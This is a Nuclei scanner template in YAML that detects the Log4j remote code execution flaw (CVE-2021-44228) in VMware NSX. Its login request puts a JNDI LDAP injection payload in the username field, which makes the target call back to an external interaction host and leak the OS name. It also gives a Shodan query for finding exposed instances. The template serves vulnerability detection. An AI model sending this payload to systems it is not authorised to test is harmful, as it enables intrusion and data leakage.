61 lines
1.9 KiB
YAML
61 lines
1.9 KiB
YAML
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id: vmware-nsx-log4j
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info:
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name: VMware NSX - Remote Code Execution (Apache Log4j)
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author: DhiyaneshDK
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severity: critical
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description: VMware NSX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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reference:
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- https://kb.vmware.com/s/article/87086
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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shodan-query: html:"vmw_nsx_logo-black-triangle-500w.png"
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verified: "true"
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tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast
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http:
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- raw:
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- |
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@timeout: 20s
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POST /login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Origin: {{BaseURL}}
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Referer: {{BaseURL}}/login.jsp
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username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&password=admin&submit=
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
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- type: word
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part: location
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words:
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- '/login.jsp?login_error=1'
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
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